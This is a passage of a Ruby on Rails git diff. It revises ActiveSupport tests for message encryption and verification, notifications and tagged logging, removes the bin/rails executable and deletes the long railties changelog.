- def test_simple_round_tripping
- message = @encryptor.encrypt(@data)
- assert_equal @data, @encryptor.decrypt(message)
+ def setup
+ @secret = SecureRandom.hex(64)
+ @verifier = ActiveSupport::MessageVerifier.new(@secret, :serializer => ActiveSupport::MessageEncryptor::NullSerializer)
+ @encryptor = ActiveSupport::MessageEncryptor.new(@secret)
+ @data = { :some => "data", :now => Time.local(2010) }
end
def test_encrypting_twice_yields_differing_cipher_text
- first_messqage = @encryptor.encrypt(@data)
- second_message = @encryptor.encrypt(@data)
+ first_messqage = @encryptor.encrypt_and_sign(@data).split("--").first
+ second_message = @encryptor.encrypt_and_sign(@data).split("--").first
assert_not_equal first_messqage, second_message
end
- def test_messing_with_either_value_causes_failure
- text, iv = @encryptor.encrypt(@data).split("--")
+ def test_messing_with_either_encrypted_values_causes_failure
+ text, iv = @verifier.verify(@encryptor.encrypt_and_sign(@data)).split("--")
assert_not_decrypted([iv, text] * "--")
assert_not_decrypted([text, munge(iv)] * "--")
assert_not_decrypted([munge(text), iv] * "--")
assert_not_decrypted([munge(text), munge(iv)] * "--")
end
+ def test_messing_with_verified_values_causes_failures
+ text, iv = @encryptor.encrypt_and_sign(@data).split("--")
+ assert_not_verified([iv, text] * "--")
+ assert_not_verified([text, munge(iv)] * "--")
+ assert_not_verified([munge(text), iv] * "--")
+ assert_not_verified([munge(text), munge(iv)] * "--")
+ end
+
def test_signed_round_tripping
message = @encryptor.encrypt_and_sign(@data)
assert_equal @data, @encryptor.decrypt_and_verify(message)
end
+ def test_alternative_serialization_method
+ encryptor = ActiveSupport::MessageEncryptor.new(SecureRandom.hex(64), :serializer => JSONSerializer.new)
+ message = encryptor.encrypt_and_sign({ :foo => 123, 'bar' => Time.utc(2010) })
+ assert_equal encryptor.decrypt_and_verify(message), { "foo" => 123, "bar" => "2010-01-01T00:00:00Z" }
+ end
+
+ def test_digest_algorithm_as_second_parameter_deprecation
+ assert_deprecated(/options hash/) do
+ ActiveSupport::MessageEncryptor.new(SecureRandom.hex(64), 'aes-256-cbc')
+ end
+ end
private
- def assert_not_decrypted(value)
- assert_raise(ActiveSupport::MessageEncryptor::InvalidMessage) do
- @encryptor.decrypt(value)
- end
+
+ def assert_not_decrypted(value)
+ assert_raise(ActiveSupport::MessageEncryptor::InvalidMessage) do
+ @encryptor.decrypt_and_verify(@verifier.generate(value))
end
+ end
- def munge(base64_string)
- bits = ActiveSupport::Base64.decode64(base64_string)
- bits.reverse!
- ActiveSupport::Base64.encode64s(bits)
+ def assert_not_verified(value)
+ assert_raise(ActiveSupport::MessageVerifier::InvalidSignature) do
+ @encryptor.decrypt_and_verify(value)
end
-end
+ end
+ def munge(base64_string)
+ bits = ActiveSupport::Base64.decode64(base64_string)
+ bits.reverse!
+ ActiveSupport::Base64.encode64s(bits)
+ end
end
+
+end \ No newline at end of file
diff --git a/activesupport/test/message_verifier_test.rb b/activesupport/test/message_verifier_test.rb
index 4821311244..35747abe5b 100644
--- a/activesupport/test/message_verifier_test.rb
+++ b/activesupport/test/message_verifier_test.rb
@@ -8,8 +8,20 @@ rescue LoadError, NameError
else
require 'active_support/time'
+require 'active_support/json'
-class MessageVerifierTest < Test::Unit::TestCase
+class MessageVerifierTest < ActiveSupport::TestCase
+
+ class JSONSerializer
+ def dump(value)
+ ActiveSupport::JSON.encode(value)
+ end
+
+ def load(value)
+ ActiveSupport::JSON.decode(value)
+ end
+ end
+
def setup
@verifier = ActiveSupport::MessageVerifier.new("Hey, I'm a secret!")
@data = { :some => "data", :now => Time.local(2010) }
@@ -31,6 +43,18 @@ class MessageVerifierTest < Test::Unit::TestCase
assert_not_verified("#{data}--#{hash.reverse}")
assert_not_verified("purejunk")
end
+
+ def test_alternative_serialization_method
+ verifier = ActiveSupport::MessageVerifier.new("Hey, I'm a secret!", :serializer => JSONSerializer.new)
+ message = verifier.generate({ :foo => 123, 'bar' => Time.utc(2010) })
+ assert_equal verifier.verify(message), { "foo" => 123, "bar" => "2010-01-01T00:00:00Z" }
+ end
+
+ def test_digest_algorithm_as_second_parameter_deprecation
+ assert_deprecated(/options hash/) do
+ ActiveSupport::MessageVerifier.new("secret", "SHA1")
+ end
+ end
def assert_not_verified(message)
assert_raise(ActiveSupport::MessageVerifier::InvalidSignature) do
diff --git a/activesupport/test/multibyte_utils_test.rb b/activesupport/test/multibyte_utils_test.rb
index 1dff944922..0a2f20d282 100644
--- a/activesupport/test/multibyte_utils_test.rb
+++ b/activesupport/test/multibyte_utils_test.rb
@@ -2,7 +2,6 @@
require 'abstract_unit'
require 'multibyte_test_helpers'
-require 'active_support/core_ext/kernel/reporting'
class MultibyteUtilsTest < ActiveSupport::TestCase
include MultibyteTestHelpers
diff --git a/activesupport/test/notifications_test.rb b/activesupport/test/notifications_test.rb
index cc0dc564f7..fc9fa90d07 100644
--- a/activesupport/test/notifications_test.rb
+++ b/activesupport/test/notifications_test.rb
@@ -1,4 +1,5 @@
require 'abstract_unit'
+require 'active_support/core_ext/module/delegation'
module Notifications
class TestCase < ActiveSupport::TestCase
@@ -23,6 +24,26 @@ module Notifications
end
end
+ class SubscribedTest < TestCase
+ def test_subscribed
+ name = "foo"
+ name2 = name * 2
+ expected = [name, name]
+
+ events = []
+ callback = lambda {|*_| events << _.first}
+ ActiveSupport::Notifications.subscribed(callback, name) do
+ ActiveSupport::Notifications.instrument(name)
+ ActiveSupport::Notifications.instrument(name2)
+ ActiveSupport::Notifications.instrument(name)
+ end
+ assert_equal expected, events
+
+ ActiveSupport::Notifications.instrument(name)
+ assert_equal expected, events
+ end
+ end
+
class UnsubscribeTest < TestCase
def test_unsubscribing_removes_a_subscription
@notifier.publish :foo
diff --git a/activesupport/test/ordered_hash_test.rb b/activesupport/test/ordered_hash_test.rb
index bf851dbcbc..0b5f912dc4 100644
--- a/activesupport/test/ordered_hash_test.rb
+++ b/activesupport/test/ordered_hash_test.rb
@@ -329,4 +329,9 @@ class OrderedHashTest < Test::Unit::TestCase
assert_equal expected, @ordered_hash.invert
assert_equal @values.zip(@keys), @ordered_hash.invert.to_a
end
+
+ def test_extractable
+ @ordered_hash[:rails] = "snowman"
+ assert_equal @ordered_hash, [1, 2, @ordered_hash].extract_options!
+ end
end
diff --git a/activesupport/test/rescuable_test.rb b/activesupport/test/rescuable_test.rb
index bf4f5265ef..c28ffa50f2 100644
--- a/activesupport/test/rescuable_test.rb
+++ b/activesupport/test/rescuable_test.rb
@@ -70,7 +70,7 @@ class CoolStargate < Stargate
end
-class RescueableTest < Test::Unit::TestCase
+class RescuableTest < Test::Unit::TestCase
def setup
@stargate = Stargate.new
@cool_stargate = CoolStargate.new
diff --git a/activesupport/test/safe_buffer_test.rb b/activesupport/test/safe_buffer_test.rb
index 7662e9b765..8f77999d25 100644
--- a/activesupport/test/safe_buffer_test.rb
+++ b/activesupport/test/safe_buffer_test.rb
@@ -106,4 +106,10 @@ class SafeBufferTest < ActiveSupport::TestCase
test "should not fail if the returned object is not a string" do
assert_kind_of NilClass, @buffer.slice("chipchop")
end
+
+ test "Should initialize @dirty to false for new instance when sliced" do
+ dirty = @buffer[0,0].send(:dirty?)
+ assert_not_nil dirty
+ assert !dirty
+ end
end
diff --git a/activesupport/test/tagged_logging_test.rb b/activesupport/test/tagged_logging_test.rb
new file mode 100644
index 0000000000..17c4214dfc
--- /dev/null
+++ b/activesupport/test/tagged_logging_test.rb
@@ -0,0 +1,67 @@
+require 'abstract_unit'
+require 'active_support/core_ext/logger'
+require 'active_support/tagged_logging'
+
+class TaggedLoggingTest < ActiveSupport::TestCase
+ class MyLogger < ::Logger
+ def flush(*)
+ info "[FLUSHED]"
+ end
+ end
+
+ setup do
+ @output = StringIO.new
+ @logger = ActiveSupport::TaggedLogging.new(MyLogger.new(@output))
+ end
+
+ test "tagged once" do
+ @logger.tagged("BCX") { @logger.info "Funky time" }
+ assert_equal "[BCX] Funky time\n", @output.string
+ end
+
+ test "tagged twice" do
+ @logger.tagged("BCX") { @logger.tagged("Jason") { @logger.info "Funky time" } }
+ assert_equal "[BCX] [Jason] Funky time\n", @output.string
+ end
+
+ test "tagged thrice at once" do
+ @logger.tagged("BCX", "Jason", "New") { @logger.info "Funky time" }
+ assert_equal "[BCX] [Jason] [New] Funky time\n", @output.string
+ end
+
+ test "tagged once with blank and nil" do
+ @logger.tagged(nil, "", "New") { @logger.info "Funky time" }
+ assert_equal "[New] Funky time\n", @output.string
+ end
+
+ test "keeps each tag in their own thread" do
+ @logger.tagged("BCX") do
+ Thread.new do
+ @logger.tagged("OMG") { @logger.info "Cool story bro" }
+ end.join
+ @logger.info "Funky time"
+ end
+ assert_equal "[OMG] Cool story bro\n[BCX] Funky time\n", @output.string
+ end
+
+ test "cleans up the taggings on flush" do
+ @logger.tagged("BCX") do
+ Thread.new do
+ @logger.tagged("OMG") do
+ @logger.flush
+ @logger.info "Cool story bro"
+ end
+ end.join
+ end
+ assert_equal "[FLUSHED]\nCool story bro\n", @output.string
+ end
+
+ test "mixed levels of tagging" do
+ @logger.tagged("BCX") do
+ @logger.tagged("Jason") { @logger.info "Funky time" }
+ @logger.info "Junky time!"
+ end
+
+ assert_equal "[BCX] [Jason] Funky time\n[BCX] Junky time!\n", @output.string
+ end
+end
diff --git a/activesupport/test/test_test.rb b/activesupport/test/test_test.rb
index 5bd995aa32..f880052786 100644
--- a/activesupport/test/test_test.rb
+++ b/activesupport/test/test_test.rb
@@ -1,5 +1,4 @@
require 'abstract_unit'
-require 'active_support/core_ext/kernel/reporting'
class AssertDifferenceTest < ActiveSupport::TestCase
def setup
diff --git a/bin/rails b/bin/rails
deleted file mode 100755
index f9725d78d0..0000000000
--- a/bin/rails
+++ /dev/null
@@ -1,7 +0,0 @@
-#!/usr/bin/env ruby
-
-if File.exists?(File.join(File.expand_path('../..', __FILE__), '.git'))
- railties_path = File.expand_path('../../railties/lib', __FILE__)
- $:.unshift(railties_path)
-end
-require "rails/cli"
diff --git a/ci/travis.rb b/ci/travis.rb
index 8087c72f90..52e146df70 100755
--- a/ci/travis.rb
+++ b/ci/travis.rb
@@ -132,7 +132,7 @@ failures = results.select { |key, value| value == false }
if failures.empty?
puts
- puts "Rails build finished sucessfully"
+ puts "Rails build finished successfully"
exit(true)
else
puts
diff --git a/rails.gemspec b/rails.gemspec
index bb3fe85c2b..3377b4e175 100644
--- a/rails.gemspec
+++ b/rails.gemspec
@@ -15,7 +15,7 @@ Gem::Specification.new do |s|
s.homepage = 'http://www.rubyonrails.org'
s.bindir = 'bin'
- s.executables = ['rails']
+ s.executables = []
s.add_dependency('activesupport', version)
s.add_dependency('actionpack', version)
diff --git a/railties/CHANGELOG b/railties/CHANGELOG
deleted file mode 100644
index a9b4deb551..0000000000
--- a/railties/CHANGELOG
+++ /dev/null
@@ -1,2352 +0,0 @@
-*Rails 3.2.0 (unreleased)*
-
-* Attributes on scaffold and model generators default to string. This allows the following: "rails g scaffold Post title body:text author" [José Valim]
-
-* Removed old plugin generator (`rails generate plugin`) in favor of `rails plugin new` command. [Guillermo Iguaran]
-
-* Removed old 'config.paths.app.controller' API in favor of 'config.paths["app/controller"]' API. [Guillermo Iguaran]
-
-*Rails 3.1.0 (unreleased)*
-
-* Make sprockets/railtie require explicit and add --skip-sprockets to app generator [José Valim]
-
-* Added Rails.groups that automatically handles Rails.env and ENV["RAILS_GROUPS"] [José Valim]
-
-* The new rake task assets:clean removes precompiled assets. [fxn]
-
-* Application and plugin generation run bundle install unless --skip-gemfile or --skip-bundle. [fxn]
-
-* Fixed database tasks for jdbc* adapters #jruby [Rashmi Yadav]
-
-* Template generation for jdbcpostgresql #jruby [Vishnu Atrai]
-
-* Template generation for jdbcmysql and jdbcsqlite3 #jruby [Arun Agrawal]
-
-* The -j option of the application generator accepts an arbitrary string. If passed "foo",
-the gem "foo-rails" is added to the Gemfile, and the application JavaScript manifest
-requires "foo" and "foo_ujs". As of this writing "prototype-rails" and "jquery-rails"
-exist and provide those files via the asset pipeline. Default is "jquery". [fxn]
-
-* jQuery is no longer vendored, it is provided from now on by the jquery-rails gem. [fxn]
-
-* Prototype and Scriptaculous are no longer vendored, they are provided from now on
-by the prototype-rails gem. [fxn]
-
-* The scaffold controller will now produce SCSS file if Sass is available [Prem Sichanugrist]
-
-* The controller and resource generators will now automatically produce asset stubs (this can be turned off with --skip-assets). These stubs will use Coffee and Sass, if those libraries are available. [DHH]
-
-* jQuery is the new default JavaScript library. [fxn]
-
-* Changed scaffold, application, and mailer generator to create Ruby 1.9 style hash when running on Ruby 1.9 [Prem Sichanugrist]
-
- So instead of creating something like:
-
- redirect_to users_path, :notice => "User has been created"
-
- it will now be like this:
-
- redirect_to users_path, notice: "User has been created"
-
- You can also passing `--old-style-hash` to make Rails generate old style hash even you're on Ruby 1.9
-
-* Changed scaffold_controller generator to create format block for JSON instead of XML [Prem Sichanugrist]
-
-* Add using Turn with natural language test case names for test_help.rb when running with minitest (Ruby 1.9.2+) [DHH]
-
-* Direct logging of Active Record to STDOUT so it's shown inline with the results in the console [DHH]
-
-* Added `config.force_ssl` configuration which loads Rack::SSL middleware and force all requests to be under HTTPS protocol [DHH, Prem Sichanugrist, and Josh Peek]
-
-* Added `rails plugin new` command which generates rails plugin with gemspec, tests and dummy application for testing [Piotr Sarnacki]
-
-* Added -j parameter with jquery/prototype as options. Now you can create your apps with jQuery using `rails new myapp -j jquery`. The default is still Prototype. [siong1987]
-
-* Added Rack::Etag and Rack::ConditionalGet to the default middleware stack [José Valim]
-
-* Added Rack::Cache to the default middleware stack [Yehuda Katz and Carl Lerche]
-
-* Engine is now rack application [Piotr Sarnacki]
-
-* Added middleware stack to Engine [Piotr Sarnacki]
-
-* Engine can now load plugins [Piotr Sarnacki]
-
-* Engine can load its own environment file [Piotr Sarnacki]
-
-* Added helpers to call engines' route helpers from application and vice versa [Piotr Sarnacki]
-
-* Task for copying plugins' and engines' migrations to application's db/migrate directory [Piotr Sarnacki]
-
-* Changed ActionDispatch::Static to allow handling multiple directories [Piotr Sarnacki]
-
-* Added isolate_namespace() method to Engine, which sets Engine as isolated [Piotr Sarnacki]
-
-* Include all helpers from plugins and shared engines in application [Piotr Sarnacki]
-
-
-*Rails 3.0.7 (April 18, 2011)*
-
-*No changes.
-
-
-*Rails 3.0.6 (April 5, 2011)
-
-* No changes.
-
-
-*Rails 3.0.5 (February 26, 2011)*
-
-* No changes.
-
-
-*Rails 3.0.4 (February 8, 2011)*
-
-* No changes.
-
-
-*Rails 3.0.3 (November 16, 2010)*
-
-* No changes.
-
-
-*Rails 3.0.2 (November 15, 2010)*
-
-* No changes.
-
-
-*Rails 3.0.1 (October 15, 2010)*
-
-* No Changes, just a version bump.
-
-
-*Rails 3.0.0 (August 29, 2010)*
-
-* Application generation: --skip-testunit and --skip-activerecord become --skip-test-unit and --skip-active-record respectively. [fxn]
-
-* Added console to Rails::Railtie as a hook called just after console starts. [José Valim]
-
-* Rails no longer autoload code in lib for application. You need to explicitly require it. [José Valim]
-
-* Rails::LogSubscriber was renamed to ActiveSupport::LogSubscriber [José Valim]
-
-* config.load_(once_)paths in config/application.rb got renamed to config.autoload_(once_)paths. [fxn]
-
-* Abort generation/booting on Ruby 1.9.1. [fxn]
-
-* Made the rails command work even when you're in a subdirectory [Chad Fowler]
-
-* Removed Rails Metal [Yehuda Katz, José Valim].
-
-* Renamed config.cookie_secret to config.secret_token and pass it as env key. [José Valim]
-
-* Session store configuration has changed [Yehuda Katz, Carl Lerche]
-
- config.session_store :cookie_store, {:key => "..."}
- config.cookie_secret = "fdsfhisdghfidugnfdlg"
-
-* railtie_name and engine_name are deprecated. You can now add any object to
- the configuration object: config.your_plugin = {} [José Valim]
-
-* Added config.generators.templates to provide alternative paths for the generators
- to look for templates [José Valim]
-
-* Added "rake about" as a replacement for script/about [DHH]
-
-* Removed all the default commands in script/* and replaced them with script/rails and a rails command that'll act the same when run from within the app [DHH]. Example:
-
- ./script/generate scaffold post title:string can now be called as rails g scaffold post title:string
-
- Run rails --help inside an app for more help.
-
-* Removed config/initializers/new_rails_defaults.rb as all frameworks now follow the settings from it [DHH]
-
-* Set config.time_zone to UTC by default [DHH]
-
-* Added default .gitignore (this is just recognizing Git market share, don't throw a hissy if you use another SCM) [DHH]
-
-* Added cookies.permanent, cookies.signed, and cookies.permanent.signed accessor for common cookie actions [DHH]. Examples:
-
- cookies.permanent[:prefers_open_id] = true
- # => Set-Cookie: prefers_open_id=true; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
-
- cookies.signed[:discount] = 45
- # => Set-Cookie: discount=BAhpMg==--2c1c6906c90a3bc4fd54a51ffb41dffa4bf6b5f7; path=/
-
- cookies.signed[:discount]
- # => 45 (if the cookie was changed, you'll get a InvalidSignature exception)
-
- cookies.permanent.signed[:remember_me] = current_user.id
- # => Set-Cookie: discount=BAhU--848956038e692d7046deab32b7131856ab20e14e; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
-
- ...to use the signed cookies, you need to set a secret to ActionController::Base.cookie_verifier_secret (automatically done in config/initializers/cookie_verification_secret.rb for new Rails applications).
-
-* Added config/initializers/cookie_verification_secret.rb with an auto-generated secret for using ActionController::Base#cookies.signed [DHH]
-
-* Fixed that the debugger wouldn't go into IRB mode because of left-over ARGVs [DHH]
-
-* I18n support for plugins. #2325 [Antonio Tapiador, Sven Fuchs]
-
-* Ruby 1.9: use UTF-8 for default internal and external encodings. [Jeremy Kemper]
-
-* Added db/seeds.rb as a default file for storing seed data for the database. Can be loaded with rake db:seed (or created alongside the db with db:setup). (This is also known as the "Stop Putting Gawd Damn Seed Data In Your Migrations" feature) [DHH]
-
-
-*2.3.2 [Final] (March 15, 2009)*
-
-* Remove outdated script/plugin options [Pratik Naik]
-
-* Allow metal to live in plugins #2045 [Matthew Rudy]
-
-* Added metal [Josh Peek]
-
-* Remove script/performance/request in favour of the performance integration tests. [Pratik Naik]
-
- To continue using script/performance/request, install the request_profiler plugin :
-
- script/plugin install git://github.com/rails/request_profiler.git
-
-* Add a rake task to apply a template to an existing application : rake rails:template LOCATION=~/template.rb [Pratik Naik]
-
-* Add "-m/--template" option to Rails generator to apply a template to the generated application. [Jeremy McAnally]
-
- This has been extracted from rg - http://github.com/jeremymcanally/rg
-
- Example:
-
- # template.rb
-
- # Install plugins from git or svn
- plugin "will-paginate", :git => "git://github.com/mislav/will_paginate.git"
- plugin "old-restful-auth", :svn => "http://svn.techno-weenie.net/projects/plugins/restful_authentication/"
-
- # Add gems to environment.rb
- gem "jeremymcanally-context"
- gem "bluecloth"
-
- # Vendor file. Data in a string or...
- vendor("borrowed.rb", <<CODE
- def helpful_method
- do_something_helpful_here
- end
- CODE
-
- # ...file data from block return value.
- # #initializer creates a new initializer file
- initializer("crypto.rb") do
- salt = "--#{Time.now}--#{rand}--#{srand(Time.now.to_i)}"
-
- "SPECIAL_SALT = '#{salt}'"
- end
-
- Usage:
-
- To use a template, provide a file path or URL:
-
- 1. Using a local file :
-
- rails <application name> -m /path/to/my/template.rb
-
- 2. Or directly from a URL :
-
- rails <application name> --template=http://gist.github.com/31208.txt
-
-* Extracted the process scripts (inspector, reaper, spawner) into the plugin irs_process_scripts [David Heinemeier Hansson]
-
-* Changed Rails.root to return a Pathname object (allows for Rails.root.join('app', 'controllers') => "#{RAILS_ROOT}/app/controllers") #1482 [Damian Janowski/?]
-
-* Added view path support for engines [David Heinemeier Hansson]
-
-* Added that config/routes.rb files in engine plugins are automatically loaded (and reloaded when they change in dev mode) [David Heinemeier Hansson]
-
-* Added app/[models|controllers|helpers] to the load path for plugins that has an app directory (go engines ;)) [David Heinemeier Hansson]
-
-* Add config.preload_frameworks to load all frameworks at startup. Default to false so Rails autoloads itself as it's used. Turn this on for Passenger and JRuby. Also turned on by config.threadsafe! [Jeremy Kemper]
-
-* Add a rake task to generate dispatchers : rake rails:generate_dispatchers [Pratik Naik]
-
-* "rails <app>" will not generate public/dispatch.cgi/fcgi/rb files by default now. Please use "--with-dispatchers" option if you need them. [Yaroslav Markin, Pratik Naik]
-
-* Added rake rails:update:application_controller to renamed application.rb to application_controller.rb -- included in rake rails:update so upgrading to 2.3 will automatically trigger it #1439 [kastner]
-
-* Added Rails.backtrace_cleaner as an accessor for the Rails::BacktraceCleaner instance used by the framework to cut down on backtrace noise and config/initializers/backtrace_silencers.rb to add your own (or turn them all off) [David Heinemeier Hansson]
-
-* Switch from Test::Unit::TestCase to ActiveSupport::TestCase. [Jeremy Kemper]
-
-* Added config.i18n settings gatherer to config/environment, auto-loading of all locales in config/locales/*.rb,yml, and config/locales/en.yml as a sample locale [David Heinemeier Hansson]
-
-* BACKWARDS INCOMPATIBLE: Renamed application.rb to application_controller.rb and removed all the special casing that was in place to support the former. You must do this rename in your own application when you upgrade to this version [David Heinemeier Hansson]
-
-
-*2.2.1 [RC2] (November 14th, 2008)*
-
-* Fixed plugin generator so that generated unit tests would subclass ActiveSupport::TestCase, also introduced a helper script to reduce the needed require statements #1137 [Mathias Meyer]
-
-* Update Prototype to 1.6.0.3 [sam]
-
-
-*2.2.0 [RC1] (October 24th, 2008)*
-
-* Fixed that sqlite would report "db/development.sqlite3 already exists" whether true or not on db:create #614 [Antonio Cangiano]
-
-* Added config.threadsafe! to toggle allow concurrency settings and disable the dependency loader [Josh Peek]
-
-* Turn cache_classes on by default [Josh Peek]
-
-* Added configurable eager load paths. Defaults to app/models, app/controllers, and app/helpers [Josh Peek]
-
-* Introduce simple internationalization support. [Ruby i18n team]
-
-* Make script/plugin install <plugin> -r <revision> option work with git based plugins. #257. [Tim Pope Jakub Kuźma]. Example:
-
- script/plugin install git://github.com/mislav/will_paginate.git -r agnostic # Installs 'agnostic' branch
- script/plugin install git://github.com/dchelimsky/rspec.git -r 'tag 1.1.4'
-
-* Added Rails.initialized? flag [Josh Peek]
-
-* Make rake test:uncommitted work with Git. [Tim Pope]
-
-* Added Thin support to script/server. #488 [Bob Klosinski]
-
-* Fix script/about in production mode. #370 [Cheah Chu Yeow, Xavier Noria, David Krmpotic]
-
-* Add the gem load paths before the framework is loaded, so certain gems like RedCloth and BlueCloth can be frozen.
-
-* Fix discrepancies with loading rails/init.rb from gems.
-
-* Plugins check for the gem init path (rails/init.rb) before the standard plugin init path (init.rb) [Jacek Becela]
-
-* Changed all generated tests to use the test/do declaration style [David Heinemeier Hansson]
-
-* Wrapped Rails.env in StringInquirer so you can do Rails.env.development? [David Heinemeier Hansson]
-
-* Fixed that RailsInfoController wasn't considering all requests local in development mode (Edgard Castro) [#310 state:resolved]
-
-
-*2.1.0 (May 31st, 2008)*
-
-* script/dbconsole fires up the command-line database client. #102 [Steve Purcell]
-
-* Fix bug where plugin init.rb files from frozen gem specs weren't being run. (pjb3) [#122 state:resolved]
-
-* Made the location of the routes file configurable with config.routes_configuration_file (Scott Fleckenstein) [#88]
-
-* Rails Edge info returns the latest git commit hash [Francesc Esplugas]
-
-* Added Rails.public_path to control where HTML and assets are expected to be loaded from (defaults to Rails.root + "/public") #11581 [Nick Sieger]
-
-* rake time:zones:local finds correct base utc offset for zones in the Southern Hemisphere [Geoff Buesing]
-
-* Don't require rails/gem_builder during rails initialization, it's only needed for the gems:build task. [Rick Olson]
-
-* script/performance/profiler compatibility with the ruby-prof >= 0.5.0. Closes #9176. [Jonathan del Strother]
-
-* Flesh out rake gems:unpack to unpack all gems, and add rake gems:build for native extensions. #11513 [ddollar]
-
- rake gems:unpack # unpacks all gems
- rake gems:unpack GEM=mygem # unpacks only the gem 'mygem'
-
- rake gems:build # builds all unpacked gems
- rake gems:build GEM=mygem # builds only the gem 'mygem'
-
-* Add config.active_support for future configuration options. Also, add more new Rails 3 config settings to new_rails_defaults.rb [Rick Olson]
-
-* Add Rails.logger, Rails.root, Rails.env and Rails.cache shortcuts for RAILS_* constants [Pratik Naik]
-
-* Allow files in plugins to be reloaded like the rest of the application. [Rick Olson]
-
- Enables or disables plugin reloading.
-
- config.reload_plugins = true
-
- You can get around this setting per plugin.
- If #reload_plugins? == false (DEFAULT), add this to your plugin's init.rb to make it reloadable:
-
- Dependencies.load_once_paths.delete lib_path
-
- If #reload_plugins? == true, add this to your plugin's init.rb to only load it once:
-
- Dependencies.load_once_paths << lib_path
-
-* Small tweak to allow plugins to specify gem dependencies. [Rick Olson]
-
- # OLD open_id_authentication plugin init.rb
- require 'yadis'
- require 'openid'
- ActionController::Base.send :include, OpenIdAuthentication
-
- # NEW
- config.gem "ruby-openid", :lib => "openid", :version => "1.1.4"
- config.gem "ruby-yadis", :lib => "yadis", :version => "0.3.4"
-
- config.after_initialize do
- ActionController::Base.send :include, OpenIdAuthentication
- end
-
-* Added config.gem for specifying which gems are required by the application, as well as rake tasks for installing and freezing gems. [Rick Olson]
-
- Rails::Initializer.run do |config|
- config.gem "bj"
- config.gem "hpricot", :version => '0.6', :source => "http://code.whytheluckystiff.net"
- config.gem "aws-s3", :lib => "aws/s3"
- end
-
- # List required gems.
- rake gems
-
- # Install all required gems:
- rake gems:install
-
- # Unpack specified gem to vendor/gems/gem_name-x.x.x
- rake gems:unpack GEM=bj
-
-* Removed the default .htaccess configuration as there are so many good deployment options now (kept it as an example in README) [David Heinemeier Hansson]
-
-* config.time_zone accepts TZInfo::Timezone identifiers as well as Rails TimeZone identifiers [Geoff Buesing]
-
-* Rails::Initializer#initialize_time_zone raises an error if value assigned to config.time_zone is not recognized. Rake time zone tasks only require ActiveSupport instead of entire environment [Geoff Buesing]
-
-* Stop adding the antiquated test/mocks/* directories and only add them to the path if they're still there for legacy reasons [David Heinemeier Hansson]
-
-* Added that gems can now be plugins if they include rails/init.rb #11444 [John Barnette]
-
-* Added Plugin#about method to programmatically access the about.yml in a plugin #10979 [James Adam]
-
- plugin = Rails::Plugin.new(path_to_my_plugin)
- plugin.about["author"] # => "James Adam"
- plugin.about["url"] # => "http://interblah.net"
-
-* Improve documentation. [Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria, Sunny Ripert]
-
-* Added config.time_zone = 'UTC' in the default environment.rb [Geoff Buesing]
-
-* Added rake tasks time:zones:all, time:zones:us and time:zones:local for finding time zone names for config.time_zone option [Geoff Buesing]
-
-* Add config.time_zone for configuring the default Time.zone value. #10982 [Geoff Buesing]
-
-* Added support for installing plugins hosted at git repositories #11294 [Jack Danger Canty]
-
-* Fixed that script/generate would not look for plugin generators in plugin_paths #11000 [glv]
-
-* Fixed database rake tasks to work with charset/collation and show proper error messages on failure. Closes #11301 [matt]
-
-* Added a -e/--export to script/plugin install, uses svn export. #10847 [jon@blankpad.net)]
-
-* Reshuffle load order so that routes and observers are initialized after plugins and app initializers. Closes #10980 [Rick Olson]
-
-* Git support for script/generate. #10690 [ssoroka]
-
-* Update scaffold to use labels instead of bold tags. Closes #10757 [zach-inglis-lt3]
-
-* Resurrect WordNet synonym lookups. #10710 [tom./, matt]
-
-* Added config.cache_store to environment options to control the default cache store (default is FileStore if tmp/cache is present, otherwise MemoryStore is used) [David Heinemeier Hansson]
-
-* Added that rails:update is run when you do rails:freeze:edge to ensure you also get the latest JS and config files #10565 [jeff]
-
-* SQLite: db:drop:all doesn't fail silently if the database is already open. #10577 [Cheah Chu Yeow, mrichman]
-
-* Introduce native mongrel handler and push mutex into dispatcher. [Jeremy Kemper]
-
-* Ruby 1.9 compatibility. #1689, #10546 [Cheah Chu Yeow, frederico]
-
-
-*2.0.2* (December 16th, 2007)
-
-* Changed the default database from mysql to sqlite3, so now running "rails myapp" will have a config/database.yml that's setup for SQLite3 (which in OS X Leopard is installed by default, so is the gem, so everything Just Works with no database configuration at all). To get a Rails application preconfigured for MySQL, just run "rails -d mysql myapp" [David Heinemeier Hansson]
-
-* Turned on ActionView::Base.cache_template_loading by default in config/environments/production.rb to prevent file system stat calls for every template loading to see if it changed (this means that you have to restart the application to see template changes in production mode) [David Heinemeier Hansson]
-
-* Introduce `rake secret` to output a crytographically secure secret key for use with cookie sessions #10363 [revans]
-
-* Fixed that local database creation should consider 127.0.0.1 local #9026 [parcelbrat]
-
-* Fixed that functional tests generated for scaffolds should use fixture calls instead of hard-coded IDs #10435 [boone]
-
-* Added db:migrate:redo and db:migrate:reset for rerunning existing migrations #10431, #10432 [matt]
-
-* RAILS_GEM_VERSION may be double-quoted also. #10443 [James Cox]
-
-* Update rails:freeze:gems to work with RubyGems 0.9.5. [Jeremy Kemper]
-
-
-*2.0.1* (December 7th, 2007)
-
-* Fixed Active Record bug
-
-
-*2.0.0* (December 6th, 2007)
-
-* The test task stops with a warning if you have pending migrations. #10377 [Josh Knowles]
-
-* Add warning to documentation about using transactional fixtures when the code under test uses transactions itself. Closes #7548 [Thijs van der Vossen]
-
-* Update Prototype to 1.6.0.1. [sam]
-
-* Update script.aculo.us to 1.8.0.1. [madrobby]
-
-* Added db:fixtures:identity as a way of locating what ID a foxy fixture was assigned #10332 [John Barnette]
-
-* Generated fixtures should not specify ids since theyre expected to be foxy fixtures #10330 [John Barnette]
-
-* Update to Prototype -r8232. [sam]
-
-* Introduce SecretKeyGenerator for more secure session secrets than CGI::Session's pseudo-random id generator. Consider extracting to Active Support later. #10286 [Hongli Lai (Phusion)]
-
-* RAILS_GEM_VERSION may be set to any valid gem version specifier. #10057 [Chad Woolley, Cheah Chu Yeow]
-
-* Load config/preinitializer.rb, if present, before loading the environment. #9943 [Chad Woolley]
-
-* FastCGI handler ignores unsupported signals like USR2 on Windows. [Grzegorz Derebecki]
-
-* Only load ActionMailer::TestCase if ActionMailer is loaded. Closes #10137 [defunkt]
-
-* Fixed that db:reset would use migrations instead of loading db/schema.rb [David Heinemeier Hansson]
-
-* Ensure the plugin loader only loads plugins once. Closes #10102 [haruki_zaemon]
-
